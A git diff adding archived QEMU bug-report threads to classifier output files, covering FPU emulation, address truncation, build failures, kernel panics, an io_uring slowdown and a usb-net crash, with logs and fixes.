+> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/672934 +> +> Title: +> FPU incorrect on Mac OS X +> +> Status in QEMU: +> Fix Released +> +> Bug description: +> I am using the 0.13.0 release version of QEMU on Mac OS X 10.6.4. I +> work for a university and the affected guest OS is our own research +> OS. I believe I found a bug in QEMU's FPU emulation, which only +> triggers on the Mac. You can reproduce the problem by booting the +> attached ISO image. +> +> Investigating the problem, I found that the lua interpreter in our +> loader component (called "ned") internally uses doubles to represent +> all lua-numbers. These doubles are showing completely wrong +> values on +> QEMU/Mac, resulting in the lua code not processing properly. +> +> I also attached a patch which fixes the problem for me. The attached +> ZIP-file also contains "before" and "after" screenshots. Note that +> booting the ISO on a real machine or on a Linux-QEMU always shows +> the +> correct "after" behavior. Only QEMU on the Mac exhibits the wrong +> "before" behavior without my patch. The patch might break other +> systems setting the CONFIG_BSD flag, so maybe the preprocessor +> should +> check for __APPLE__ instead to make the fix Mac-only. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/672934/+subscriptions +> + +I have always suspected a FPU bug with qemu-system-ppc. Apple's audio +processing code uses floating point code a lot. As a possible result +the playback of audio on a Mac OS guest is very poor. Is this a +problem with certain floating point instructions? Also could you send +me the patch. I would like to test it. Thanks. + +The patch is linked in my comment #5 above. However, the issue discussed here does not affect PPC, neither as the guest or host platform, so I’m not sure the patch applies to your problem. + diff --git a/results/classifier/deepseek-1/output/mistranslation/796480 b/results/classifier/deepseek-1/output/mistranslation/796480 new file mode 100644 index 00000000..610bd47b --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/796480 @@ -0,0 +1,51 @@ + +Addresses with 4GB differences are consider as one single address in QEMU + +THIS IS THE ISSUE OF USER MODE EMULATION +Information about guest and host +********************************** +guest: 64 bit x86 user mode binary +host: 32 bit Linux OS +uname -a :Linux KICS-HPCNL-32blue 2.6.33.3-85.fc13.i686.PAE #1 SMP +architecture: intel64 +Bug Description +**************** +for memory reference instructions, suppose I have two addresses in guest address space(64 bit) +0x220000000 +0x320000000 +as lower 32 bit part of both addresses are same, when particular instructions are translated into host code(32 bit) +in both above cases the value is loaded from same memory and we get same value. where actual behaviour was to get two different values. +here is the program which i used to test: +#include <stdio.h> +#include <stdlib.h> +#include <limits.h> +#define SIZE 4294967298 /* 4Gib*/ + +int main() { + char *array; + unsigned int i; + + array = malloc(sizeof(char) * SIZE); + if(array == NULL) { + fprintf(stderr, "Could not allocate that much memory"); + return 1; } + array[0] = 'a'; + array[SIZE-2] = 'z'; + printf("array[SIZE-2] = %c array[0] = %c\n",array[SIZE-2], array[0]); + return 0; +} +I have 8 gib RAM +I compiled this program on 64 bit linux and run this on 32 bit linux with qemu +QEMU command line and output +********************************** +$x86_64-linux-user/qemu-x86_64 ~/ar_x86 +output: array[SIZE-1] = z,array[0] = z +Release information +******************** +x86_64 binary is tested with latest release : qemu-0.14.1 +and with current development tree as well( live code of QEMU using git) + +Can you still reproduce this problem with the latest version of QEMU (currently version 2.9.0)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mistranslation/881637 b/results/classifier/deepseek-1/output/mistranslation/881637 new file mode 100644 index 00000000..b73e531a --- /dev/null +++ b/results/classifier/deepseek-1/output/mistranslation/881637 @@ -0,0 +1,22 @@ + +QEMU fails to build on OpenBSD/hppa + +Trying to build previous QEMU releases as well as git code fails on OpenBSD/hppa... + +cc -I/home/hack/jasper/qemu/slirp -I. -I/home/hack/jasper/qemu -I/home/hack/jasper/qemu/fpu -I/home/hack/jasper/qemu/tcg -I/home/hack/jasper/qemu/tcg/hppa -D_FORTIFY_SOURCE=2 -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -Wstrict-prototypes -Wredundant-decls -Wall -Wundef -Wwrite-strings -Wmissing-prototypes -fno-strict-aliasing -Wno-redundant-decls -I/usr/local/include -I/usr/X11R6/include -Wendif-labels -Wmissing-include-dirs -Wnested-externs -Wformat-security -Wformat-y2k -Winit-self -Wold-style-definition -I/usr/local/include/libpng -DHAS_AUDIO -DHAS_AUDIO_CHOICE -DTARGET_PHYS_ADDR_BITS=64 -I.. -I/home/hack/jasper/qemu/target-i386 -DNEED_CPU_H -pthread -I/usr/local/include/glib-2.0 -I/usr/local/lib/glib-2.0/include -I/usr/local/include/libpng -pthread -I/usr/local/include/glib-2.0 -I/usr/local/lib/glib-2.0/include -MMD -MP -MT translate.o -MF ./translate.d -O2 -g -c -o translate.o /home/hack/jasper/qemu/target-i386/translate.c +/tmp//ccvNbj1U.s: Assembler messages: +/tmp//ccvNbj1U.s:258792: Error: Field out of range [-262144..262143] (-262776). +/tmp//ccvNbj1U.s:261989: Error: Field out of range [-262144..262143] (-267096). +/tmp//ccvNbj1U.s:262006: Error: Field out of range [-262144..262143] (-267136). +/tmp//ccvNbj1U.s:264184: Error: Field out of range [-262144..262143] (-270612). +/tmp//ccvNbj1U.s:271893: Error: Field out of range [-262144..262143] (-281260). +/tmp//ccvNbj1U.s:276623: Error: Field out of range [-262144..262143] (-288784). +/tmp//ccvNbj1U.s:276906: Error: Field out of range [-262144..262143] (-289636). +/tmp//ccvNbj1U.s:277122: Error: Field out of range [-262144..262143] (-290280). + +The compiler used with the previous comment was GCC 4.2.1. I also tried building with GCC 4.6.3 and it experiences the same error during the build. + +Do you still have this problem with the latest version of QEMU and a more recent version of GCC? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/mode./1844597 b/results/classifier/deepseek-1/output/mode./1844597 new file mode 100644 index 00000000..a45887cd --- /dev/null +++ b/results/classifier/deepseek-1/output/mode./1844597 @@ -0,0 +1,113 @@ + +fc1120a7f5f2d4b601003205c598077d3eb11ad2 causes a kernel panic in vfp_init on a clang built kernel + +Commit 4cdabee7d6d2 ("ARM: configs: aspeed_g5: Enable AST2600") [1] in the Linux kernel enabled CONFIG_VFP. When building this config with Clang, the resulting kernel does not boot after commit fc1120a7f5 ("target/arm: Implement NSACR gating of floating point") [2] (present since the 4.1.0 release). + +The QEMU command: + +qemu-system-arm -m 512m \ + -machine romulus-bmc \ + -no-reboot \ + -dtb out/arch/arm/boot/dts/aspeed-bmc-opp-romulus.dtb \ + -initrd rootfs.cpio \ + -display none \ + -serial mon:stdio \ + -kernel ${KBF}/arch/arm/boot/zImage + +If it is needed, the rootfs we are using is provided at a link below [3]. + +Debugging with QEMU reveals that the kernel panics in vfp_init, specifically at the line: + +vfpsid = fmrx(FPSID); + +in arch/arm/vfp/vfpmodule.c because of an illegal instruction: + +[ 0.058685] VFP support v0.3: +[ 0.059159] Internal error: Oops - undefined instruction: 0 [#1] SMP ARM +[ 0.059525] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.3.0-next-20190918-dirty #1 +[ 0.059547] Hardware name: Generic DT based system +[ 0.059702] PC is at vfp_init+0x50/0x1f4 +[ 0.059721] LR is at vfp_init+0x4c/0x1f4 +[ 0.059738] pc : [<80b0383c>] lr : [<80b03838>] psr: 60000153 +[ 0.059756] sp : 9e497ec0 ip : 00000020 fp : 9e497ed8 +[ 0.059773] r10: 00000000 r9 : ffffe000 r8 : 80c06048 +[ 0.059792] r7 : 00000000 r6 : 80c0caac r5 : 80c6c418 r4 : 80b037ec +[ 0.059811] r3 : 00000000 r2 : 339aa372 r1 : 00000000 r0 : 00000012 +[ 0.059859] Flags: nZCv IRQs on FIQs off Mode SVC_32 ISA ARM Segment none +[ 0.059883] Control: 00c5387d Table: 80004008 DAC: 00000051 +[ 0.059997] Process swapper/0 (pid: 1, stack limit = 0x(ptrval)) +[ 0.060048] Stack: (0x9e497ec0 to 0x9e498000) +[ 0.060205] 7ec0: 80b037ec 80b6bf0c 80b037ec ffffffff 00000000 00000000 9e497f48 80b01100 +[ 0.060310] 7ee0: 00000000 9eeff9e0 80a85734 809eb9be 00000000 8014b7f4 9eeff9e0 80a85734 +[ 0.060408] 7f00: 9e497f48 8014b7f4 000000a4 00000001 00000001 00000000 80b0133c 9e497f38 +[ 0.060509] 7f20: 00000000 9eeff9d5 339aa372 80b6be80 80b6bf0c 00000000 00000000 00000000 +[ 0.060606] 7f40: 00000000 00000000 9e497f70 80b01864 00000001 00000001 00000000 80b0133c +[ 0.060703] 7f60: 00000001 8085d268 00000000 00000000 9e497f80 80b01758 00000000 00000000 +[ 0.060800] 7f80: 9e497f90 80b015e4 00000000 8085d268 9e497fa8 8085d27c 00000000 8085d268 +[ 0.060897] 7fa0: 00000000 00000000 00000000 801010e8 00000000 00000000 00000000 00000000 +[ 0.060993] 7fc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 +[ 0.061090] 7fe0: 00000000 00000000 00000000 00000000 00000013 00000000 00000000 00000000 +[ 0.061625] [<80b0383c>] (vfp_init) from [<80b01100>] (do_one_initcall+0xa8/0x1e0) +[ 0.061722] [<80b01100>] (do_one_initcall) from [<80b01864>] (do_initcall_level+0xfc/0x12c) +[ 0.061742] [<80b01864>] (do_initcall_level) from [<80b01758>] (do_basic_setup+0x2c/0x3c) +[ 0.061759] [<80b01758>] (do_basic_setup) from [<80b015e4>] (kernel_init_freeable+0x68/0x104) +[ 0.061777] [<80b015e4>] (kernel_init_freeable) from [<8085d27c>] (kernel_init+0x14/0x26c) +[ 0.061798] [<8085d27c>] (kernel_init) from [<801010e8>] (ret_from_fork+0x14/0x2c) +[ 0.061835] Exception stack(0x9e497fb0 to 0x9e497ff8) +[ 0.061896] 7fa0: 00000000 00000000 00000000 00000000 +[ 0.061998] 7fc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 +[ 0.062080] 7fe0: 00000000 00000000 00000000 00000000 00000013 00000000 +[ 0.062263] Code: e5860000 e59f0174 ebd9d8fc e59f5170 (eef04a10) +[ 0.062679] ---[ end trace 2d338c91e4e74562 ]--- + +Before fc1120a7f5: + +[ 0.069418] VFP support v0.3: implementor 41 architecture 1 part 20 variant b rev 5 + +Should you need to reproduce this locally: + +* clang 9.0.0 or later is needed to build this config. If you do not have easy access to such a build, we have a clang build script available [4] that can help with this: + +% ./build-llvm.py --branch llvmorg-9.0.0-rc6 \ + --build-stage1-only \ + --projects clang \ + --targets ARM + +* Because of an unrelated build issue, linux-next needs to be used (or the singular patch that resolves it needs to be cherry-picked on top of 4cdabee7d6d2 [5]). The kernel make command used: + +% make -j$(nproc) -s \ + ARCH=arm \ + CC=clang \ + CROSS_COMPILE=arm-linux-gnueabi- \ + O=out \ + distclean aspeed_g5_defconfig all + +[1]: https://git.kernel.org/linus/4cdabee7d6d2e439fea726a101e448c4ca6837f4 +[2]: https://git.qemu.org/?p=qemu.git;a=commit;h=fc1120a7f5f2d4b601003205c598077d3eb11ad2 +[3]: https://github.com/ClangBuiltLinux/continuous-integration/blob/800d84bf8c55ee04c50ed4c78144a96d889a91c5/images/arm/rootfs.cpio +[4]: https://github.com/ClangBuiltLinux/tc-build +[5]: http://git.armlinux.org.uk/cgit/linux-arm.git/commit/?id=7b3948597372e5a6b314208ac320362c204b7f0f + +Hi; could you attach all the binaries needed to repro this (zImage, dtb, etc) to the bug please? + + +Ugh, sorry, I forget that I can actually upload files to these platforms :( + +Done, let me know if you need anything else! + + + +Thanks. I've diagnosed the problem -- when we boot a kernel directly into non-secure state on an AArch32 CPU which implements EL3, we need to set the NSACR.{CP11,CP10} bits so that Non-Secure is allowed to use the FPU, but we weren't doing that. The omission didn't matter until commit fc1120a7f5 because before that point we were ignoring the NSACR trap bits entirely... Patch coming up shortly. + + + +Should be fixed by: +https://<email address hidden>/ +(which allows me to boot the kernel you attached at least as far as "didn't find a root filesystem"). + + +I pulled down the fix, built locally, and can confirm that this resolves the issue. Thank you for the quick patch! + +Fixed in master in commit ece628fcf69cbbd, which will be in the 4.2 release (also tagged for stable so will end up on the 4.1.x branch at some point). + + diff --git a/results/classifier/deepseek-1/output/needed./587993 b/results/classifier/deepseek-1/output/needed./587993 new file mode 100644 index 00000000..d4019d9b --- /dev/null +++ b/results/classifier/deepseek-1/output/needed./587993 @@ -0,0 +1,134 @@ + +qemu-kvm 0.12.4+dfsg-1 from debian squeeze crashes "BUG: unable to handle kernel NULL pointer" (sym53c8xx) + +I use eucalyptus software (1.6.2) on debian squeeze with kvm 0.12.4+dfsg-1. Kernel 2.6.32-3-amd64. After a few days machines crash. There are no logs in host system. Guest is the same kernel and OS as host. The kvm process use 100% of cpu time. I can not even ping the guest. Here is the log from virtual machine: + +[ 3577.816666] sd 0:0:0:0: [sda] ABORT operation started +[ 3582.816047] sd 0:0:0:0: ABORT operation timed-out. +[ 3582.816781] sd 0:0:0:0: [sda] ABORT operation started +[ 3587.816649] sd 0:0:0:0: ABORT operation timed-out. +[ 3587.817379] sd 0:0:0:0: [sda] DEVICE RESET operation started +[ 3592.816062] sd 0:0:0:0: DEVICE RESET operation timed-out. +[ 3592.816882] sd 0:0:0:0: [sda] BUS RESET operation started +[ 3592.820056] sym0: SCSI BUS reset detected. +[ 3592.831538] sym0: SCSI BUS has been reset. +[ 3592.831968] BUG: unable to handle kernel NULL pointer dereference at 0000000000000358 +[ 3592.832003] IP: [<ffffffffa01147c4>] sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.832003] PGD 5f73e067 PUD 5fa53067 PMD 0 +[ 3592.832003] Oops: 0000 [#1] SMP +[ 3592.832003] last sysfs file: /sys/devices/pci0000:00/0000:00:05.0/host0/target0:0:0/0:0:0:0/vendor +[ 3592.832003] CPU 0 +[ 3592.832003] Modules linked in: dm_mod openafs(P) ext2 snd_pcsp snd_pcm snd_timer serio_raw i2c_piix4 snd virtio_balloon evdev i2c_core soundcore psmouse button processor snd_page_alloc ext3 jbd mbcache sd_mod crc_t10dif ata_generic libata ide_pci_generic sym53c8xx scsi_transport_spi thermal piix uhci_hcd ehci_hcd floppy thermal_sys scsi_mod virtio_pci virtio_ring virtio e1000 ide_core usbcore nls_base [last unloaded: scsi_wait_scan] +[ 3592.832003] Pid: 193, comm: scsi_eh_0 Tainted: P 2.6.32-3-amd64 #1 Bochs +[ 3592.832003] RIP: 0010:[<ffffffffa01147c4>] [<ffffffffa01147c4>] sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.832003] RSP: 0018:ffff880001803cb0 EFLAGS: 00010287 +[ 3592.832003] RAX: 000000000000000a RBX: 000000000000000b RCX: 000000005f410090 +[ 3592.832003] RDX: 0000000000000000 RSI: ffff88005c450800 RDI: ffffc90000a5e006 +[ 3592.832003] RBP: ffff88005f410000 R08: 0000000000000000 R09: 0000000000000000 +[ 3592.832003] R10: 000000000000003a R11: ffffffff813b871e R12: ffff88005f410090 +[ 3592.832003] R13: 0000000000000084 R14: 0000000000000000 R15: 0000000000000001 +[ 3592.832003] FS: 0000000000000000(0000) GS:ffff880001800000(0000) knlGS:0000000000000000 +[ 3592.832003] CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b +[ 3592.832003] CR2: 0000000000000358 CR3: 000000005e269000 CR4: 00000000000006f0 +[ 3592.832003] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 +[ 3592.832003] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 +[ 3592.832003] Process scsi_eh_0 (pid: 193, threadinfo ffff88005f6fa000, task ffff88005f697880) +[ 3592.832003] Stack: +[ 3592.832003] ffff88005f3fd000 0000000000000000 0000000000000130 0000000000000000 +[ 3592.832003] <0> ffff88005f407710 ffffc90000a64710 ffffffffffffff10 ffffffff81195301 +[ 3592.832003] <0> 0000000000000010 0000000000010212 ffff880001803d18 0000000000000018 +[ 3592.832003] Call Trace: +[ 3592.832003] <IRQ> +[ 3592.832003] [<ffffffff81195301>] ? __memcpy_toio+0x9/0x19 +[ 3592.832003] [<ffffffffa01164ed>] ? sym_interrupt+0x46c/0x6a3 [sym53c8xx] +[ 3592.832003] [<ffffffff8103fea0>] ? update_curr+0xa6/0x147 +[ 3592.832003] [<ffffffffa010fbde>] ? sym53c8xx_intr+0x43/0x6a [sym53c8xx] +[ 3592.832003] [<ffffffff81093bfc>] ? handle_IRQ_event+0x58/0x126 +[ 3592.832003] [<ffffffff810954e2>] ? handle_fasteoi_irq+0x7d/0xb5 +[ 3592.832003] [<ffffffff81013957>] ? handle_irq+0x17/0x1d +[ 3592.832003] [<ffffffff81012fb1>] ? do_IRQ+0x57/0xb6 +[ 3592.832003] [<ffffffff810114d3>] ? ret_from_intr+0x0/0x11 +[ 3592.832003] [<ffffffff81053903>] ? __do_softirq+0x6e/0x19f +[ 3592.832003] [<ffffffff8106fa87>] ? tick_dev_program_event+0x2d/0x95 +[ 3592.832003] [<ffffffff81011cac>] ? call_softirq+0x1c/0x30 +[ 3592.832003] [<ffffffff81013903>] ? do_softirq+0x3f/0x7c +[ 3592.832003] [<ffffffff810537e1>] ? irq_exit+0x36/0x76 +[ 3592.832003] [<ffffffff81025837>] ? smp_apic_timer_interrupt+0x87/0x95 +[ 3592.832003] [<ffffffff81011673>] ? apic_timer_interrupt+0x13/0x20 +[ 3592.832003] <EOI> +[ 3592.832003] [<ffffffff8118e009>] ? delay_tsc+0x0/0x73 +[ 3592.832003] [<ffffffffa010f900>] ? sym_eh_handler+0x22e/0x2e2 [sym53c8xx] +[ 3592.832003] [<ffffffffa008e5de>] ? scsi_try_bus_reset+0x50/0xd9 [scsi_mod] +[ 3592.832003] [<ffffffffa008f565>] ? scsi_eh_ready_devs+0x50c/0x781 [scsi_mod] +[ 3592.832003] [<ffffffffa008fd6b>] ? scsi_error_handler+0x3c1/0x5b5 [scsi_mod] +[ 3592.832003] [<ffffffffa008f9aa>] ? scsi_error_handler+0x0/0x5b5 [scsi_mod] +[ 3592.832003] [<ffffffff81064789>] ? kthread+0x79/0x81 +[ 3592.832003] [<ffffffff81011baa>] ? child_rip+0xa/0x20 +[ 3592.832003] [<ffffffff81064710>] ? kthread+0x0/0x81 +[ 3592.832003] [<ffffffff81011ba0>] ? child_rip+0x0/0x20 +[ 3592.832003] Code: 48 c7 c7 82 92 11 a0 eb 63 48 8b 98 38 01 00 00 48 8d b8 28 01 00 00 e8 df d5 0f e1 48 89 da 48 89 c6 48 c7 c7 bc 92 11 a0 eb 6d <49> 8b 96 58 03 00 00 48 8b 82 80 00 00 00 48 8b a8 b0 00 00 00 +[ 3592.832003] RIP [<ffffffffa01147c4>] sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.832003] RSP <ffff880001803cb0> +[ 3592.832003] CR2: 0000000000000358 +[ 3592.867935] ---[ end trace 06f90ebbdbd172ee ]--- +[ 3592.868360] Kernel panic - not syncing: Fatal exception in interrupt +[ 3592.868906] Pid: 193, comm: scsi_eh_0 Tainted: P D 2.6.32-3-amd64 #1 +[ 3592.869511] Call Trace: +[ 3592.869727] <IRQ> [<ffffffff812ed349>] ? panic+0x86/0x141 +[ 3592.870225] [<ffffffff81011673>] ? apic_timer_interrupt+0x13/0x20 +[ 3592.870778] [<ffffffff811afbdc>] ? dummycon_dummy+0x0/0x3 +[ 3592.871250] [<ffffffff81014a37>] ? oops_end+0x64/0xb4 +[ 3592.871694] [<ffffffff81014a7a>] ? oops_end+0xa7/0xb4 +[ 3592.872150] [<ffffffff810322b8>] ? no_context+0x1e9/0x1f8 +[ 3592.872626] [<ffffffff8103246d>] ? __bad_area_nosemaphore+0x1a6/0x1ca +[ 3592.873185] [<ffffffff8106807c>] ? up+0xe/0x36 +[ 3592.873576] [<ffffffff8104e219>] ? release_console_sem+0x17e/0x1af +[ 3592.874125] [<ffffffff81024d72>] ? lapic_next_event+0x18/0x1d +[ 3592.874642] [<ffffffff812ef595>] ? page_fault+0x25/0x30 +[ 3592.875103] [<ffffffffa01147c4>] ? sym_int_sir+0x62f/0x14e0 [sym53c8xx] +[ 3592.875678] [<ffffffff81195301>] ? __memcpy_toio+0x9/0x19 +[ 3592.876162] [<ffffffffa01164ed>] ? sym_interrupt+0x46c/0x6a3 [sym53c8xx] +[ 3592.876748] [<ffffffff8103fea0>] ? update_curr+0xa6/0x147 +[ 3592.877224] [<ffffffffa010fbde>] ? sym53c8xx_intr+0x43/0x6a [sym53c8xx] +[ 3592.877800] [<ffffffff81093bfc>] ? handle_IRQ_event+0x58/0x126 +[ 3592.878319] [<ffffffff810954e2>] ? handle_fasteoi_irq+0x7d/0xb5 +[ 3592.878848] [<ffffffff81013957>] ? handle_irq+0x17/0x1d +[ 3592.879305] [<ffffffff81012fb1>] ? do_IRQ+0x57/0xb6 +[ 3592.879744] [<ffffffff810114d3>] ? ret_from_intr+0x0/0x11 +[ 3592.880237] [<ffffffff81053903>] ? __do_softirq+0x6e/0x19f +[ 3592.880723] [<ffffffff8106fa87>] ? tick_dev_program_event+0x2d/0x95 +[ 3592.881284] [<ffffffff81011cac>] ? call_softirq+0x1c/0x30 +[ 3592.881762] [<ffffffff81013903>] ? do_softirq+0x3f/0x7c +[ 3592.882230] [<ffffffff810537e1>] ? irq_exit+0x36/0x76 +[ 3592.882691] [<ffffffff81025837>] ? smp_apic_timer_interrupt+0x87/0x95 +[ 3592.883258] [<ffffffff81011673>] ? apic_timer_interrupt+0x13/0x20 +[ 3592.883795] <EOI> [<ffffffff8118e009>] ? delay_tsc+0x0/0x73 +[ 3592.884319] [<ffffffffa010f900>] ? sym_eh_handler+0x22e/0x2e2 [sym53c8xx] +[ 3592.884917] [<ffffffffa008e5de>] ? scsi_try_bus_reset+0x50/0xd9 [scsi_mod] +[ 3592.885522] [<ffffffffa008f565>] ? scsi_eh_ready_devs+0x50c/0x781 [scsi_mod] +[ 3592.886152] [<ffffffffa008fd6b>] ? scsi_error_handler+0x3c1/0x5b5 [scsi_mod] +[ 3592.886789] [<ffffffffa008f9aa>] ? scsi_error_handler+0x0/0x5b5 [scsi_mod] +[ 3592.887398] [<ffffffff81064789>] ? kthread+0x79/0x81 +[ 3592.887836] [<ffffffff81011baa>] ? child_rip+0xa/0x20 +[ 3592.888290] [<ffffffff81064710>] ? kthread+0x0/0x81 +[ 3592.888721] [<ffffffff81011ba0>] ? child_rip+0x0/0x20 + +Unfortunatelly I have no idea how to reproduce the problem. + +If you can recreate the issue, please update the bug report with information about to how recreate the problem. + +Looks like the SCSI driver is causing problems. QEMU's SCSI emulation is known to be broken, please use IDE +or virtio-blk. + +Jes + + +Looks a duplicate of https://sourceforge.net/tracker/index.php?func=detail&aid=2042889&group_id=180599&atid=893831 + +Closed the SF bug, lets focus on this issue here. + +Jes + + +QEMU 0.12 is way outdated nowadays, so I assume this problem has been fixed sometime in the last years... so I'm closing this ticket now. If you still have problems with the latest version of QEMU, please feel free to open this bug again. + diff --git a/results/classifier/deepseek-1/output/network**./1877716 b/results/classifier/deepseek-1/output/network**./1877716 new file mode 100644 index 00000000..8b7183a2 --- /dev/null +++ b/results/classifier/deepseek-1/output/network**./1877716 @@ -0,0 +1,133 @@ + +Win10 guest unusable after a few minutes + +On Arch Linux, the recent qemu package update seems to misbehave on some systems. In my case, my Windows 10 guest runs fine for around 5 minutes and then start to get really sluggish, even unresponsive. It needs to be forced off. I could reproduce this on a minimal VM with no passthrough, although my current testing setup involves an nvme pcie passthrough. + +I bisected it to the following commit which rapidly starts to run sluggishly on my setup: +https://github.com/qemu/qemu/commit/73fd282e7b6dd4e4ea1c3bbb3d302c8db51e4ccf + +I've ran the previous commit ( https://github.com/qemu/qemu/commit/b321051cf48ccc2d3d832af111d688f2282f089b ) for the entire night without an issue so far. + +I believe this might be a duplicate of https://bugs.launchpad.net/qemu/+bug/1873032 , although I'm not sure. + +Linux cc 5.6.10-arch1-1 #1 SMP PREEMPT Sat, 02 May 2020 19:11:54 +0000 x86_64 GNU/Linux +AMD Ryzen 7 2700X Eight-Core Processor + + + +Note that bisecting is difficult due to the nature of the bug (does not appear before 5 to 10 minutes on my machine). + + + +I can also replicate the problem on current master. I can solve it by building master with --disable-linux-io-uring. + +I also tried building Linux 5.4.39 where the issue happens too: +Linux cc 5.4.39qemu #1 SMP PREEMPT Sat May 9 12:11:38 CEST 2020 x86_64 GNU/Linux + +I attached the logs of that latest run. + +On Sat, May 9, 2020 at 9:16 AM Xavier <email address hidden> wrote: +> +> Public bug reported: +> +> On Arch Linux, the recent qemu package update seems to misbehave on some +> systems. In my case, my Windows 10 guest runs fine for around 5 minutes +> and then start to get really sluggish, even unresponsive. It needs to be +> forced off. I could reproduce this on a minimal VM with no passthrough, +> although my current testing setup involves an nvme pcie passthrough. +> +> I bisected it to the following commit which rapidly starts to run sluggishly on my setup: +> https://github.com/qemu/qemu/commit/73fd282e7b6dd4e4ea1c3bbb3d302c8db51e4ccf + +Thanks for bisecting this bug! Arch Linux can work around it in the +short term by building with ./configure --disable-linux-io-uring +and/or removing the liburing build dependency. + +I will try to reproduce the issue and send a QEMU patch to fix it. + + +On Mon, May 11, 2020 at 10:12 AM Stefan Hajnoczi <email address hidden> wrote: +> On Sat, May 9, 2020 at 9:16 AM Xavier <email address hidden> wrote: +> > +> > Public bug reported: +> > +> > On Arch Linux, the recent qemu package update seems to misbehave on some +> > systems. In my case, my Windows 10 guest runs fine for around 5 minutes +> > and then start to get really sluggish, even unresponsive. It needs to be +> > forced off. I could reproduce this on a minimal VM with no passthrough, +> > although my current testing setup involves an nvme pcie passthrough. +> > +> > I bisected it to the following commit which rapidly starts to run sluggishly on my setup: +> > https://github.com/qemu/qemu/commit/73fd282e7b6dd4e4ea1c3bbb3d302c8db51e4ccf +> +> Thanks for bisecting this bug! Arch Linux can work around it in the +> short term by building with ./configure --disable-linux-io-uring +> and/or removing the liburing build dependency. + +Hmm...a brief look at the Arch Linux package source suggests QEMU is +not being built with io_uring enabled. Anatol, please confirm whether +this is correct. + +If io_uring is not enabled then this bug may affect most existing +users on Linux. Initially I thought it was because Arch Linux had +enabled the new io_uring feature but I was probably mistaken. + + +Stefan, + +Arch explicitly disabled io_uring for qemu after discovering this bug. That's why you don't see it enabled in the recent version. + +5.0.0-6 doesn't have io_uring enabled. +5.0.0-5 does have it, and you can grab it here: [1]. + +[1] https://archive.archlinux.org/packages/q/qemu/qemu-5.0.0-5-x86_64.pkg.tar.zst + +As of version 5.0.0-6 (released a day ago), qemu on Arch is no longer built with io_uring support because of this bug. The previous version (5.0.0-5) was built with io_uring support and this bug was happening on my machine. Before the fixed version was released I myself added --disable-linux-io-uring to the build file of 5.0.0-5 and that fixed the issue for me. Now I'm running 5.0.0-6 and it's working as good as ever. +You can track the changes of qemu build files here: https://git.archlinux.org/svntogit/packages.git/log/trunk?h=packages/qemu + +That's good news! Most users do not have io_uring enabled yet. + +I have been able to reproduce the issue and found that nodes are not being removed from the AioContext->aio_handlers list when aio_set_fd_handler() is called. perf shows that large amounts of CPU time are spent in aio_pending(). + +Working on getting to the bottom of the issue and fixing it. + +Thank you Stefan for looking at this issue. + +As Alexander and @postfactum mentioned Arch disabled io_uring feature after this bug has been discovered. Here is an Arch Linux issue that tracks it https://bugs.archlinux.org/task/66578 + +Please try this patch series: +https://lists.gnu.org/archive/html/qemu-devel/2020-05/msg02728.html + +Unofficial x86_64 build of v5.0.0 with those 2 patches for Arch is here: [1]. + +[1] https://download.opensuse.org/repositories/home:/post-factum/Arch/x86_64/ + +Hi Stefan, + +I applied your series on top of master with io_uring enabled and I no longer experience the issue. Let me know if you need additional testing. + +Thank you for fixing this so promptly. + +On Tue, May 12, 2020, 16:25 zkrx <email address hidden> wrote: + +> Hi Stefan, +> +> I applied your series on top of master with io_uring enabled and I no +> longer experience the issue. Let me know if you need additional testing. +> +> Thank you for fixing this so promptly. +> + +That's great! Thanks for your bug report and time investigating this issue. + +Stefan + +> + + +Thank you Stefan for the fixes. Once these patches land the upstream repo I'll pull it into the Arch package and reenable io_uring. + +The fix has been merged: +https://git.qemu.org/?p=qemu.git;a=commit;h=f2465433b43fb87766d79f42191607dac4aed5b4 + + diff --git a/results/classifier/deepseek-1/output/network/1050823 b/results/classifier/deepseek-1/output/network/1050823 new file mode 100644 index 00000000..d9e2ff7f --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1050823 @@ -0,0 +1,23 @@ + +segmentation fault when using usb-net and -netdev tap + +The following command causes a Segmentation fault: + +qemu-kvm -usb -device usb-net,netdev=net0 -netdev tap,id=net0 +Segmentation fault + +The following command does not: + +qemu-kvm -usb -device usb-net,netdev=net0 -netdev user,id=net0 + +Program received signal SIGSEGV, Segmentation fault. +usbnet_can_receive (nc=0x55555657dc20) + at /home/pbonzini/work/upstream/qemu/hw/usb/dev-network.c:1292 +1292 if (is_rndis(s) && s->rndis_state != RNDIS_DATA_INITIALIZED) { + +First reported at https://bugzilla.redhat.com/show_bug.cgi?id=843310 + +Patch has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=278412d0e710e2e848c +... so I think it should be OK now to close this ticket. + diff --git a/results/classifier/deepseek-1/output/network/1156632 b/results/classifier/deepseek-1/output/network/1156632 new file mode 100644 index 00000000..2c74b1ca --- /dev/null +++ b/results/classifier/deepseek-1/output/network/1156632 @@ -0,0 +1,37 @@ + +not receiving RESET event after system_reset command causes QMP connection to die + +I have written my own implementation to control machine running KVM instances with the QMP protocol. Its a pretty basic implementation that sends/receives in the same thread. This means that all of the events QEMU sents are received only when the application expects a reply from a command. In the following scenario, i'm unable to (re)connect to the QMP socket from QEMU after I closed the connection: + +1) Connect to QMP +2) Sent qmp_capabilities +3) Receive reply +4) Send system_reset +5) Receive reply +6) close socket +7) Connect to socket -> connection refused + +However, in the following scenario, I am able to connect after I disconnect the socket because I have read the two RESET events: +1) Connect to QMP +2) Sent qmp_capabilities +3) Receive reply +4) Send system_reset +5) Receive reply +6) Receive reply 